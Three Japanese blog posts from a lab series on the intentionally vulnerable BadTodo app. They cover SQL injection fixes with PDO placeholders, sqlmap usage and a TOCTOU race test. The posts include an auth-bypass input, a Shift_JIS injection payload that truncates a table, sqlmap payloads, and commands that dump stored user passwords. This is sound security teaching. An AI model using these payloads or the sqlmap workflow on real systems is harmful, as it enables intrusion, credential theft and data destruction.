やられアプリ BadTodo - 3.9 SQLインジェクション 対策方法

前回:やられアプリ BadTodo - 3.8 SQLインジェクション sqlmapを使ってみる - demandosigno

これまで検査方法についてIPAのサイトや徳丸本を参考にしてきましたが、対策方法についても同様です。
安全なウェブサイトの作り方 - 1.1 SQLインジェクション | 情報セキュリティ | IPA 独立行政法人 情報処理推進機構
安全なSQLの呼び出し方

特にBadTodoはもともと徳丸本の付属資料の一つですので、並行して読んだ方が絶対によいです。
体系的に学ぶ 安全なWebアプリケーションの作り方 第2版 | SBクリエイティブ

根本的解決

  • SQL文の組み立ては全てプレースホルダで実装する。
  • SQL文の組み立てを文字列連結により行う場合は、エスケープ処理等を行うデータベースエンジンのAPIを用いて、SQL文のリテラルを正しく構成する。
  • ウェブアプリケーションに渡されるパラメータにSQL文を直接指定しない。

SQL文の組み立ては全てプレースホルダで実装する

 SQLには通常、プレースホルダを用いてSQL文を組み立てる仕組みがあります。SQL文の雛形の中に変数の場所を示す記号(プレースホルダ)を置いて、後に、そこに実際の値を機械的な処理で割り当てるものです。ウェブアプリケーションで直接、文字列連結処理によってSQL文を組み立てる方法に比べて、プレースホルダでは、機械的な処理でSQL文が組み立てられるので、SQLインジェクションの脆弱性を解消できます。
 プレースホルダに実際の値を割り当てる処理をバインドと呼びます。バインドの方式には、プレースホルダのままSQL文をコンパイルしておき、データベースエンジン側で値を割り当てる方式(静的プレースホルダ)と、アプリケーション側のデータベース接続ライブラリ内で値をエスケープ処理してプレースホルダにはめ込む方式(動的プレースホルダ)があります。静的プレースホルダは、SQLのISO/JIS規格では、準備された文(Prepared Statement)と呼ばれます。
 どちらを用いてもSQLインジェクション脆弱性を解消できますが、原理的にSQLインジェクション脆弱性の可能性がなくなるという点で、静的プレースホルダの方が優ります。詳しくは本書別冊の「安全なSQLの呼び出し方」のプレースホルダの項(3.2節)を参照してください。
安全なウェブサイトの作り方 - 1.1 SQLインジェクション | 情報セキュリティ | IPA 独立行政法人 情報処理推進機構
IPA - 別冊:安全なSQLの呼び出し方

詳細は上記資料にお任せすることにして、ここではBadTodoに対して実際に修正してみた例を記載します。

ログイン画面(logindo.php の userid, pwd)に対して

元のコードが入力値を SQL文に直に放り込む形になっている所を、静的プレースホルダを使って書き換えます。
プレースホルダにはコロン:param?を使います。PHPは双方使えてBadTodoでも両方が使われていますが今回は?で試します。
PHP: プリペアドステートメントおよびストアドプロシージャ - Manual
PHP: PDO::prepare - Manual
また、プレースホルダにパラメータを割り当て(バインド)するのには bindParam()や bindValue()が使えますが、BadTodoでの他の箇所に合わせてexecute()に配列を渡す形にしました。
PHP: PDOStatement::bindParam - Manual
PHP: PDOStatement::bindValue - Manual
bindParam()とbindValue()とは #PHP - Qiita

注:「安全なSQLの呼び出し方」p.24に『execute メソッドでパラメータの値を与えることもできますが、その場合、パラメータはすべてvarchar 型とみなされ、SQL 実行時に文字列型から実際の型への「暗黙の型変換」が生じます。MySQLの場合、文字列型から数値型への変換時に浮動小数点数型を経由するため、精度が損なわれるなどの不具合の原因になります。このことから、MySQL では、bind_param メソッドで型を明示してバインドする方法を推奨します。』との記載がありました。

logindo.php コメントアウトしている部分を修正例に書き換えてください。

<?php
~(中略)~
  // $sql = "SELECT id, userid FROM users WHERE userid='$userid'";
  $sql = "SELECT id, userid FROM users WHERE userid=?";
  // $sth = $dbh->query($sql);
  $sth = $dbh->prepare($sql);  // プリペアドステートメント(静的プレースホルダ)でクエリを準備する
  $sth->execute(array($userid));  // プリペアドステートメントで値を取得して実行する
  $row = $sth->fetch(PDO::FETCH_ASSOC);
  $sth = null;
  if (!empty($row)) {
    // $sql = "SELECT id, userid, super FROM users WHERE userid='$userid' AND pwd='$pwd'";
    $sql = "SELECT id, userid, super FROM users WHERE userid=? AND pwd=?";
    // $sth = $dbh->query($sql);
    $sth = $dbh->prepare($sql);  // 準備する
    $sth->execute(array($userid, $pwd));  // 実行する

また common.phpの78行目からの部分にsetAttribute()を1行追記してください。
PHP: PDO::setAttribute - Manual

<?php
~(中略)~
function dblogin()
{
  $dbhost = isset($_ENV['REDIRECT_MYSQL_HOST']) ? $_ENV['REDIRECT_MYSQL_HOST'] : '127.0.0.1';
  $dbh = new PDO("mysql:host=$dbhost;dbname=todo", 'root', 'wasbook');
  $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
  $dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);  // 追記。falseで静的プレースホルダを使用する。デフォルト値はtrue
  $dbh->query("SET NAMES utf8");
  return $dbh;
}

確認

BadTodo - 3.1 SQLインジェクション 認証の回避で試した単純なシングルクォーテーション'の入力で確認してみます。

ログイン実行。SQLのエラーは表示されませんでした。

この時のクエリを確認してみると先にPrepareでひな型が作成され、Executeで入力値がはめ込まれていますが、'がバックスラッシュでエスケープされています。

Prepare  SELECT id, userid FROM users WHERE userid=?
Execute  SELECT id, userid FROM users WHERE userid='\''

(文字列に引用符'を含める方法は幾つかあり、シングルクォーテーションを重ねる''方法もあります)MySQL :: MySQL 8.0 リファレンスマニュアル :: 9.1.1 文字列リテラル

静的プレースホルダの場合、プリペアドステートメントを利用した時点でSQL構文が確定し後から構文が変化することがありません。割り当てられる変数は完全な数値定数もしくは文字列定数として扱われます。特殊文字はエスケープ処理されます。よってパラメータの値がリテラルの外にはみ出す現象が起きず、SQL インジェクションの脆弱性が生じません。

(一方、対策以前のクエリ(下記)ではそのまま入力されるため、2つ目の'で文字列リテラルが終了し、3つ目の'は文字列リテラルをはみ出した状態になり、SQL文として意味を持たないので構文エラーになります)

Query   SELECT id, userid FROM users WHERE userid='''

パスワードの方も確認

id=admin パスワード='OR'1で試します。(デフォルトではパスワード6桁までしか受け付けない仕様のため)
修正前のSQLインジェクションが可能な場合。

ログインできました。

クエリは次の通り。

Query   SELECT id, userid FROM users WHERE userid='admin'
Query   SELECT id, userid, super FROM users WHERE userid='admin' AND pwd=''OR'1'

修正後。ログインできません。

Prepare  SELECT id, userid FROM users WHERE userid=?
Execute  SELECT id, userid FROM users WHERE userid='admin'
Close stmt
Prepare  SELECT id, userid, super FROM users WHERE userid=? AND pwd=?
Execute  SELECT id, userid, super FROM users WHERE userid='admin' AND pwd='\'OR\'1'

補足。動的プレースホルダとShift_JISによるSQLインジェクション

先の修正で common.php に「静的プレースホルダを使うように」という指示を1行追加しました。 $dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); // 追記。falseで静的プレースホルダを使用する。デフォルト値はtrue

この記載がない場合はデフォルトの「動的プレースホルダ」が使用されます。

動的プレースホルダは準備された文(Prepared Statement)とは異なり、プレースホルダを利用するものの、パラメータのバインド処理をデータベースエンジン側で行うのではなく、アプリケーション側のライブラリ内で実行する方式です。 ~(中略)~
これを俗に、「クライアントサイドのプリペアドステートメント」と呼ぶことがありますが、JIS/ISO で規定された意味での「準備された文(Prepared Statement)」ではないので注意が必要です。
IPA - 別冊:安全なSQLの呼び出し方 p.11

パラメータのバインド処理をデータベースエンジン側で行うのではなくアプリケーション側で実行する場合、文字エンコードにShift_JISを使うとSQLの生成においてUnicodeからShift_JISへの変換が発生します。
(PHP/MySQL/Shift_JISの組み合わせだけではなく様々なパターンがありますのでIPAの資料を適宜参照してください)

ここでは上記資料「安全なSQLの呼び出し方 p.32」A.2. Shift_JISによるSQLインジェクションを試してみます。
まずブラウザChromiumに拡張機能を入れ、Webサイトのエンコーディングを変更できるようにしておいてください。=>https://chromewebstore.google.com/detail/charset/oenllhgkiiljibhfagbfogdbchhdchml?hl=ja&utm_source=ext_sidebar

そして common.php の$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);をコメントアウトして当初の状態に戻します。また文字セットにutf8ではなくsjisを指定します。

<?php
~(中略)~
function dblogin()
{
  $dbhost = isset($_ENV['REDIRECT_MYSQL_HOST']) ? $_ENV['REDIRECT_MYSQL_HOST'] : '127.0.0.1';
  $dbh = new PDO("mysql:host=$dbhost;dbname=todo", 'root', 'wasbook');
  $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
  // $dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
  // $dbh->query("SET NAMES utf8");
  $dbh->query("SET NAMES sjis");
  return $dbh;
}

先ほどと同じく、まずは単純なシングルクォーテーション'の入力。

SQL文のエラーは表示されませんでした。

この時のクエリを確認してみると静的プレースホルダの際と同様に'がバックスラッシュでエスケープされており問題ないように見えます。ただ Prepare Execute という記載がなくなり、動的プレースホルダになっているとみられます。

Query   SELECT id, userid FROM users WHERE userid='\''

次に、先ほど導入した拡張機能を使いブラウザの文字コードを「日本語(Shift_JIS)」に変更します。

PHPコード自体はUTF-8形式で保存されているため文字化けします。

ここでユーザIDに表'; TRUNCATE todos;--と入力しログインボタンをクリックするとテーブルが初期化されます

実行前
MariaDB [todo]> select * from todos;
+----+-------+--------------------------------+------------+------------+------+------+--------------+---------------+------+----------+--------+
| id | owner | todo                           | c_date     | due_date   | done | memo | org_filename | real_filename | url  | url_text | public |
+----+-------+--------------------------------+------------+------------+------+------+--------------+---------------+------+----------+--------+
|  1 |     1 | パソコンを買う                 | 2023-12-11 | 2023-12-12 |    0 | NULL | NULL         | NULL          | NULL | NULL     |      1 |
|  2 |     2 | 依頼の原稿を書く               | 2023-12-11 | 2023-12-18 |    0 | NULL | memo.txt     | memo.txt      | NULL | NULL     |      1 |
|  3 |     1 | 政府高官との会食アポ           | 2023-12-11 | 2023-12-14 |    0 | NULL | NULL         | NULL          | NULL | NULL     |      0 |
+----+-------+--------------------------------+------------+------------+------+------+--------------+---------------+------+----------+--------+
3 rows in set (0.000 sec)
 
実行後
MariaDB [todo]> select * from todos;
Empty set (0.001 sec)

この時のクエリ

Query   SET NAMES sjis
Query   SELECT id, userid FROM users WHERE userid='\\\'; TRUNCATE todos;-- '

なぜこうなるのかについて。
入力値の表'の部分の文字コードは次のようになります。

のShift_JISコードは0x955cですが下位 8bit の0x5cはUS-ASCII(UTF-8エンコード)ではバックスラッシュに該当します。この文字列に対し、文字エンコーディングを考慮せずにエスケープ処理を施した場合、0x5c がエスケープ対象と解釈されることがあります。
また先の例で見たように、MySQLではシングルクォーテーション(0x27)やバックスラッシュ(0x5c)は、その前にバックスラッシュ(0x5c)を付けることでエスケープされます。\\\'。よって以下のような並びとなります。

しかしこれをあらためて Shift_JIS として解釈するとこうなります。

これを元の SQL 文に与えると次の文になります。
SELECT id, userid FROM users WHERE userid='表\\'; TRUNCATE todos;--

本来後部の'をエスケープするための2番目の\が1番目の\との組み合わせ\\となってしまったため、後ろの'が有効となりセミコロン以降がリテラルの外にはみ出しSQL文として解釈されます。
このことから、文字エンコーディングに起因する SQL インジェクションの脆弱性が発生しやすい Shift_JIS の使用は避けてください。

(DockerTerminal上ではuserid='\\\'; とバックスラッシュ3本で表示されましたが、badtodo-dbの元のubuntuのlocaleにUTF-8しか入っていないので正しく表示できていないだけだと思われます)
(後ろが0x5cとなる文字は以外にも複数あります)

静的プレースホルダとShift_JISのパターンを試す

まずデータ初期化用スクリプトを実行し、テーブルを元に戻します。
(Windows(CMD) C:badtodo> .\scripts\init.bat) (Mac / Linux / WSL $ ./scripts/init.sh)
badtodo/docs/usage.md at main · ockeghem/badtodo · GitHub

common.phpにて文字コードはsjisのままsetAttribute(PDO::ATTR_EMULATE_PREPARES, false);とします。

<?php
~(中略)~
function dblogin()
{
  $dbhost = isset($_ENV['REDIRECT_MYSQL_HOST']) ? $_ENV['REDIRECT_MYSQL_HOST'] : '127.0.0.1';
  $dbh = new PDO("mysql:host=$dbhost;dbname=todo", 'root', 'wasbook');
  $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
  $dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
  // $dbh->query("SET NAMES utf8");
  $dbh->query("SET NAMES sjis");
  return $dbh;
}

そして表'; TRUNCATE todos;--でログイン。
今度は消えません。

MariaDB [todo]> select * from todos;
+----+-------+--------------------------------+------------+------------+------+------+--------------+---------------+------+----------+--------+
| id | owner | todo                           | c_date     | due_date   | done | memo | org_filename | real_filename | url  | url_text | public |
+----+-------+--------------------------------+------------+------------+------+------+--------------+---------------+------+----------+--------+
|  1 |     1 | パソコンを買う                 | 2023-12-11 | 2023-12-12 |    0 | NULL | NULL         | NULL          | NULL | NULL     |      1 |
|  2 |     2 | 依頼の原稿を書く               | 2023-12-11 | 2023-12-18 |    0 | NULL | memo.txt     | memo.txt      | NULL | NULL     |      1 |
|  3 |     1 | 政府高官との会食アポ           | 2023-12-11 | 2023-12-14 |    0 | NULL | NULL         | NULL          | NULL | NULL     |      0 |
+----+-------+--------------------------------+------------+------------+------+------+--------------+---------------+------+----------+--------+
SET NAMES sjis
Execute  SET NAMES sjis
Close stmt
Prepare  SELECT id, userid FROM users WHERE userid=?
Execute  SELECT id, userid FROM users WHERE userid=X'955C273B205452554E4341544520746F646F733B2D2D20'

PrepareとExecuteで実行され、'27などになり無害となっています。

さらに補足

`PDO::ATTR_EMULATE_PREPARES => false`は必要か?の記事で徳丸さんがコメントされており、

すなわち、以下のようなことは言えるかと思います。
・過去にはプレースホルダのエミュレーションの脆弱性が発見されたことがあったが、最近は報告がないようだ
・過去にあった脆弱性もUnicodeとJIS系エンコーディングを混在した場合のものであり、Unicode(UTF-8等)での統一が一般的になった状況では、エミュレーションの脆弱性は考えにくい
し・か・し・な・が・ら、原理的に安全というのと、実装に問題がなければ安全というのは、安全のレベルとしては全然違います。なので、最近私は、無理に静的プレースホルダ(エミュレーションオフ)を推奨してはいませんが、「理論的にはこうなので、組織あるいはプロジェクトとして、リスクとメリットを考慮して決めてください」という言い方をしています。

とのことです。

また「安全なWebアプリケーションの作り方 p.163」では複文の実行を禁止する設定としてPDO::MYSQL_ATTR_MULTI_STATEMENTS => falseも設定していますが、PHP 5.5.21 および 5.6.5 以降が対象のようです。
PHP: MySQL (PDO) - Manual
「この定数が使えるのは、データベースハンドルを新規作成する際の driver_options 配列内だけであることに注意しましょう。」
PDOに複文実行を禁止するオプションが追加されていた | 徳丸浩の日記
「すなわち、new PDOする際に、driver_options配列に上記を設定すればよい」「PDO::MYSQL_ATTR_MULTI_STATEMENTS が存在する場合のみ、このオプションを指定」

BadTodoに合わせるとこんな感じかと思います。

<?php
~(中略)~
  $opt = array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
               PDO::ATTR_EMULATE_PREPARES => false);
  if (defined('PDO::MYSQL_ATTR_MULTI_STATEMENTS')) {
    $opt[PDO::MYSQL_ATTR_MULTI_STATEMENTS] = false;
  }
  $dbh = new PDO("mysql:host=$dbhost;dbname=todo;charset=utf8", 'root', 'wasbook', $opt);

さらに上記teratailのQ&A内で「2021/04/22 に開催された Club MySQL #5 ~SQLデータベースのセキュリティ~ の動画で、徳丸さんが『動的プレースホルダを使用することのメリット』に関してユーザ会に質問している動画」のリンクも貼られていて全体を通して興味深い内容でした。
Club MySQL #5 ~SQLデータベースのセキュリティ - YouTube

日が経って再度脆弱性を試すときに修正済みであったことを忘れて「あれ?動かない」となりがちなので忘れないうちに元のコードに戻しておいてください。

後日「Todo検索画面」の方も修正を試します。こちらには「LIKE記述とワイルドカード(%や_)」についての問題もありそうです。

SQL Injection Prevention - OWASP Cheat Sheet Series

SQLインジェクション対策の極意はSQL文を組み立てないことにあり (1/4)|CodeZine(コードジン) 2ページ目以降のストアドプロシージャでのSQLインジェクション対策についても一読を。

次回:BadTodo - 3.10 ブラインドSQLインジェクション (Boolean-Based) 練習 - demandosigno

やられアプリ BadTodo - 3.8 SQLインジェクション sqlmapを使う

前回:やられアプリ BadTodo - 3.7 SQLインジェクション idパラメータに対して - demandosigno

sqlmap はSQLインジェクションを検出するためのオープンソースのテストツールです。
sqlmap: automatic SQL injection and database takeover tool

これまでの検査でDB名やテーブル名など一通り分かっていますが sqlmapでも試してみます。

前提

Docker版 BadTodoを対象としており、DockerにはKali Linuxをインストール済みだったため、今回はKali からslqmapを実行しました。
手っ取り早く試すならBadTodo自体にsqlmapをインストールし127.0.0.1を対象として検査してみるで良いかと思います。
https://github.com/sqlmapproject/sqlmap
Kali LinuxをDocker Desktopにインストールする - demandosigno
Dockerコンテナ間での通信を行えるようにする - demandosigno

Todo検索画面でのSQLインジェクションを試します。
対象リクエストGET http://172.19.0.2/todo/todolist.php?key=test

コンテナ名かIPで検査対象との疎通確認。

┌──(kali㉿d617763b20cd)-[~]
└─$ ping -c 2 badtodo-apache
PING badtodo-apache (172.19.0.2) 56(84) bytes of data.
64 bytes from badtodo-apache.kali_badtodo (172.19.0.2): icmp_seq=1 ttl=64 time=0.036 ms
64 bytes from badtodo-apache.kali_badtodo (172.19.0.2): icmp_seq=2 ttl=64 time=0.055 ms
 
┌──(kali㉿d617763b20cd)-[~]
└─$ ping -c 2 172.19.0.2
PING 172.19.0.2 (172.19.0.2) 56(84) bytes of data.
64 bytes from 172.19.0.2: icmp_seq=1 ttl=64 time=0.062 ms
64 bytes from 172.19.0.2: icmp_seq=2 ttl=64 time=0.044 ms

sqlmap実行

-u : 検査対象のURL

$ sqlmap -u "http://172.19.0.2/todo/todolist.php?key=test"
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.7.11#stable}
|_ -| . ["]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

~(中略)~
[WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit](c を入力してEnter)
~(中略)~
[INFO] testing for SQL injection on GET parameter 'key'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n](y を選択)
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n](y を選択)
~(中略)~
[INFO] GET parameter 'key' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'key' is vulnerable. Do you want to keep testing the others (if any)? [y/N] (y を選択)

sqlmap identified the following injection point(s) with a total of 44 HTTP(s) requests:
---
Parameter: key (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: key=test' AND 7963=7963 AND 'UBDs'='UBDs

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: key=test' AND (SELECT 1614 FROM(SELECT COUNT(*),CONCAT(0x716a766a71,(SELECT (ELT(1614=1614,1))),0x71706a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'LTbU'='LTbU

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: key=test';SELECT SLEEP(5)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: key=test' AND (SELECT 2318 FROM (SELECT(SLEEP(5)))rmbe) AND 'soVa'='soVa

    Type: UNION query
    Title: Generic UNION query (NULL) - 10 columns
    Payload: key=test' UNION ALL SELECT NULL,CONCAT(0x716a766a71,0x41624b6a6354784b4244754574526e52694c685a7a77485852544b505a4464576d71434f68574451,0x71706a7a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[20:38:34] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.57, PHP 5.3.3
back-end DBMS: MySQL >= 5.0 (MariaDB fork)

DBMS は MySQL"key"パラメータに各種SQLインジェクションを指摘されています。
ここでは Time-based blind SQLインジェクションを試してみます。

例の通り入力
test' AND (SELECT 2318 FROM (SELECT(SLEEP(5)))rmbe) AND 'soVa'='soVa 送信。

レスポンスが返ってくるのに少し時間がかかります。
BurpのRepeaterに回し、再送信してみます。

レスポンスに5,100ms≒5秒かかっており、SQL文が実行されたことが分かります。
(MySQLでは SLEEP() 関数で指定した秒数だけ処理がスリープされます。SELECT SLEEP(秒数);)

一般的な検査方法

--dbs : 発見したデータベース一覧を列挙する
--proxy : 今回はリクエストの中身を見るため BurpSuiteを経由させる
--dbms : 指定したDBに絞って攻撃

$ sqlmap -u "http://172.19.0.2/todo/todolist.php?key=test" --proxy="http://127.0.0.1:8080" --dbms=MySQL --dbs
~(中略)~
fetching database names
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] todo

-D : 使用するDBを指定
--tables : テーブル一覧を列挙

$ sqlmap -u "http://172.19.0.2/todo/todolist.php?key=test" --proxy="http://127.0.0.1:8080" --dbms=MySQL -D todo --tables
~(中略)~
[INFO] fetching tables for database: 'todo'
Database: todo
[3 tables]
+---------+
| session |
| todos   |
| users   |
+---------+

-T : 使用するテーブル
--columns : カラム一覧を列挙

$ sqlmap -u "http://172.19.0.2/todo/todolist.php?key=test" --proxy="http://127.0.0.1:8080" --dbms=MySQL -D todo -T users --columns
~(中略)~
[INFO] fetching columns for table 'users' in database 'todo'
Database: todo
Table: users
[6 columns]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| super  | int(11)      |
| email  | varchar(64)  |
| icon   | varchar(128) |
| id     | int(11)      |
| pwd    | varchar(6)   |
| userid | varchar(64)  |
+--------+--------------+

-C : テーブルのカラムを指定
--dump : DBMSデータベースのテーブルエントリをダンプする

$ sqlmap -u "http://172.19.0.2/todo/todolist.php?key=test" --proxy="http://127.0.0.1:8080" --dbms=MySQL -D todo -T users -C userid,pwd --dump
~(中略)~
[INFO] fetching entries of column(s) 'pwd,userid' for table 'users' in database 'todo'
Database: todo
Table: users
[2 entries]
+---------+--------+
| userid  | pwd    |
+---------+--------+
| admin   | passwd |
| wasbook | wasboo |
+---------+--------+

POSTリクエストの場合(例:Todoを削除するリクエスト)

--data : POSTボディパラメータ
cookie : ログインしているユーザのcookie
--csrf-token : CSRFトークン名
--csrf-url : トークンが取得できるURL

$ sqlmap -u "http://172.19.0.2/todo/editlist.php" --data="todotoken=f4184427b0e98edf52d877ee6f8126c6&id%5B%5D=7&process=dellist" cookie="0cd2c678b144d6cc49c4d35c238cf382" --proxy="http://127.0.0.1:8080" --csrf-token="todotoken" --csrf-url="http://172.19.0.2/todo/todolist.php" --dbms=MySQL
~(中略)~
[CRITICAL] all tested parameters do not appear to be injectable.

この例ではSQLインジェクションは見つかりませんでした。

補足

[WARNING] target URL content is not stable :
ターゲットURLのコンテンツが安定していない。リクエスト毎にレスポンスの差異が大きいという判定。レスポンスの差分を検知することでSQLインジェクションの判定を行うため(通常レスポンスと大きく異なるということは何かしらSQL文の実行結果が表示された可能性がある)、そもそもの通常リクエストが安定していないと検知に支障が出るようです。しかし sqlmapには不安定なターゲットに由来する潜在的な "ノイズ "を自動的に除去する高度なメカニズムがあるそうなので「(C)ontinue」で問題ないようです。安定している場合は "URL Content is stable." となります。

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
ターゲットが特定の DBMS を使用していることが明確に示されている場合、通常のテストだけでなく特定の DBMS に対するテストを拡張することも可能です。
これは基本的に、その特定の DBMS に対してすべての SQL インジェクションのペイロードを実行することを意味します。
(risk は 1~3、level は 1~5 がある)
レベル2ではHTTP Cookieヘッダーのテストが追加され、レベル3ではHTTP User-Agent/Refererヘッダーが追加される。
リスク値 2 はデフォルトのレベルにクエリ時間ベースの重いSQLインジェクションのテストを追加し、3はOR ベースのSQLインジェクションのテストも追加する。

--level 1 --risk 1: 53 requests --level 2 --risk 1: 342 requests
--level 3 --risk 1: 1080 requests
--level 4 --risk 1: 2060 requests
--level 5 --risk 1: 3280 requests
When increasing to --risk 3, the number of tests increases further:

--level 1 --risk 3: 112 requests
--level 2 --risk 3: 646 requests
--level 3 --risk 3: 2160 requests
--level 4 --risk 3: 4320 requests
--level 5 --risk 3: 7850 requests
sql injection - What are the consequences of increasing the "--risk" option of sqlmap? - Information Security Stack Exchange

[CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
Proxyが影響している場合がある。検査対象をProxy経由で見ている場合はProxyを外す。または --proxy オプションを正しく使用する。

[WARNING] time-based comparison requires larger statistical model, please wait.. (done)
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]
[警告]時間ベースの比較には、より大きな統計モデルが必要です。
少なくとも1つの他の(可能性のある)テクニックが見つからない場合は、基本的なUNIONテストのみを実行することをお勧めします。リクエスト数を減らしますか?[Y/n]

再検査を行う時は --flush-session オプションを付ける。
例 $ sqlmap -u "http://172.19.0.2/todo/todolist.php?key=test" --flush-session

https://book.hacktricks.xyz/v/jp/pentesting-web/sql-injection/sqlmap
Step 13: SQLMap Essentials. Apologies everyone, been a couple of… | by Josh Gates | Medium
ハッカーはsqlmapでSQLインジェクションの欠陥を検出する(Kali Linux) | AIを武器にホワイトハッカーになる

次回:やられアプリ BadTodo - 3.9 SQLインジェクション 対策方法 - demandosigno

やられアプリ BadTodo - 25 TOCTOU競合

前回:やられアプリ BadTodo - 24.3 NULLバイト攻撃(+XSS) - demandosigno

TOCTOU(トックトゥー)Time of check to Time of use.
ある条件をチェック (check) したあと、その結果を行使 (use) するまでに変更が発生することで引き起こされるバグの一種。競合状態の一例。

まったく同一のIDで登録できてしまう。同一のファイル名でアップロードできてしまう。その結果、本来のユーザーでない人に機密情報が洩れる事故などが想定されます。

というわけで、最初はBadTodoの新規登録部分に目を付けて確認してみました。実際下記の記事でもそこが言及されています。
www.itmedia.co.jp

しかしながら「Docker版 BadTodo Ver 2.1.0」では新規登録部分に問題は見つけられませんでした。(確認漏れの点がある気がしますので引き続き探します)
「Ver 1.1.0」の方には問題がありましたので順に記載します。

BadTodo Ver 2.1.0 に対して

新規ユーザー登録時に、同一ユーザー名でほぼ同時に登録作業を行うという方法で確認しました。

ab コマンド (Apache Bench)を使います。Apacheに標準で付いているWEBサーバの性能を計測するためのコマンドです。
GETリクエストの場合。
$ ab -c 20 -n 40 "http://{検査対象アドレス}/todo/adduser.php"
POSTリクエストの場合。
$ ab -c 20 -n 40 -p ab_post_data.txt -T "application/x-www-form-urlencoded" "http://{検査対象アドレス}/todo/adduser.php"

-c : concurrency 同時実行(並列数)
一度に実行する複数のリクエスト数。デフォルトは一度に一つのリクエスト。
-n : requests リクエスト数
実行するリクエスト数。デフォルトは単一のリクエストで、これは通常、偏ったベンチマーク結果に繋がります。
今回の例は20スレッドで40リクエストを送信。
-p : POSTファイル
POST Bodyパラメータを記載したファイル。同時に -T オプションの指定も必要。
今回の例 ab_post_data.txt の中身。 id=toctou2&pwd=toctou&email=toctou2%40example.com&iconfname=656b26f258d99-man1.png
-T : content-type
POST/PUTの際のContent-type headerの指定。今回は application/x-www-form-urlencoded。デフォルトは text/plain。

$ ab -c 20 -n 40 -p ab_post_data.txt -T "application/x-www-form-urlencoded" "http://{検査対象アドレス}/todo/adduser.php"
This is ApacheBench, Version 2.3 <$Revision: 1903618 $>
~(後略)~

ベンチマーク結果が出ますが、それ自体は不要なため省略。

データベースを確認すると、増えたのは1件のみで重複はありませんでした。

ソースコード(adduser.php)を見ると

<?php
~(前略)~
function adduser($app, $userid, $pwd, $email, $icon, $super) {
  $errmsg = array();
  try {
    $dbh = dblogin();
    $dbh->beginTransaction();

    $sql = "SELECT COUNT(*) FROM users WHERE userid=?";
    $sth = $dbh->prepare($sql);
    $sth->execute(array($userid));
    $count = $sth->fetchColumn();
    if ($count > 0) {
      $errmsg[] = 'ユーザIDが重複しています';
    }
    $sql = "SELECT COUNT(*) FROM users WHERE email=?";
    $sth = $dbh->prepare($sql);
    $sth->execute(array($email));
    $count = $sth->fetchColumn();
    if ($count > 0) {
      $errmsg[] = 'メールアドレスが重複しています';
    }
    if (! empty($errmsg)) {
      $dbh->rollBack();
      return $errmsg;
    }

    rename("temp/$icon", "icons/$icon");
    @unlink("temp/_64_$icon");   // 縮小画像を削除しておく 2023/1/5
    $sql = "SELECT MAX(id) FROM users";
    $sth = $dbh->query($sql);
    $maxid = $sth->fetchColumn();
    
    $sql = 'INSERT INTO users VALUES(?, ?, ?, ?, ?, ?)';
    $sth = $dbh->prepare($sql);
    $rs = $sth->execute(array($maxid + 1, $userid, $pwd, $email, $icon, $super));
    $dbh->commit();
  } catch (PDOException $e) {
    $app->addlog('クエリに失敗しました: ' . $e->getMessage());
    if (isset($dbh)) {
      $dbh->rollBack();
    }
    return array('只今サイトが大変混雑しています。もうしばらく経ってからアクセスしてください');
  }
  return array();
}

登録時にユーザーIDまたはメールアドレスが既に存在する場合はエラー。そうでなければMAX(id)に +1 して新規登録、となっています。
例えば次のような流れで登録されたとすると双方エラーとならないため、ダブって追加されるはずです。

下記はAdminerから手動で追加してダブらせた例。

そうならないようにデータベースにはトランザクションという仕組みがあります。
MySQL :: MySQL 8.0 リファレンスマニュアル :: 13.3.1 START TRANSACTION、COMMIT および ROLLBACK ステートメント

DBMSに対して複数のSQLを送る際、1つ以上のSQL文をひとかたまりとして扱うよう指示することができます。
「一部だけが実行されることはあってはならない、途中で分割不可能なもの」として取り扱います。
・停電などでトランザクションの処理が中断されたり
・トランザクションの途中で、他の人の処理が割り込んだ場合
自動的にロールバックが行われます。
トランザクションに含まれる複数のSQL文が、DBMSによって不可分なものとして扱われる性質のことをトランザクションの原子性(atomicity)といいます。
(スッキリ分かるSQL入門。第1版 第9章より)

今回の場合、
$dbh->beginTransaction();
$dbh->commit();
の間に「IDチェック」と「新規追加」のSQLがあり、両方が終わるまで内部でロックされ他のトランザクションから分離されます。仮に自分が読み書きしている行を他人がロックしている場合、その相手のトランザクションが完了するまで自分は待たされます。そして何か問題があれば
$dbh->rollBack();
されます。
